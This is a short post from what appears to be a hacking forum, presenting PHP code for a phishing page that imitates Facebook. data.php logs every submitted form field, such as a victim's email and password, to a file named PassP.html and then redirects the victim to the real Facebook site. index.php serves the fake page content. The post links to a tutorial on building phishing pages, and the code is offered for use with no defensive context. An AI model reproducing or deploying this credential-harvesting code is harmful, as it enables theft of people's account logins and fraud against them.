Phishing Page Code

Home Forums Hacking Tools and Codes Phishing Page Code

Tagged: 

This topic contains 0 replies, has 1 voice, and was last updated by  Hacking-Guide 2 months, 4 weeks ago.

Viewing 1 post (of 1 total)
  • Author
    Posts
  • #115

    Hacking-Guide
    Keymaster

    Here are the codes for index.php and data.php

    -> data.php code:

    <?php
    header ('Location:https://www.facebook.com/');
    $handle = fopen("PassP.html", "a");
    foreach($_POST as $variable => $value) {
    	fwrite($handle, $variable);
    	fwrite($handle, "=");
    	fwrite($handle, $value);
    	fwrite($handle, "<br/>");
    	}
    fwrite($handle, "<br/>");
    fclose($handle);
    exit;
    ?>

    -> index.php code:

    <?php
    $id = $_GET["id"];
    if ($id == "www.facebook.com") {
          $myFile = "IDPAGE.jpg";
          $fh = fopen($myFile, 'r');
          $theData = fread($fh, 500000);
          fclose($fh);
          echo $theData;
    }
    
    else{
         $myFile1 = "index.jpg";
         $fh1 = fopen($myFile1, 'r');
         $theData1 = fread($fh1, 500000);
         fclose($fh1);
         echo $theData1;
    }
    ?>

    These are the code for the tutorial: https://hacking-guide.com/how-to-make-a-phishing-page

Viewing 1 post (of 1 total)

You must be logged in to reply to this topic.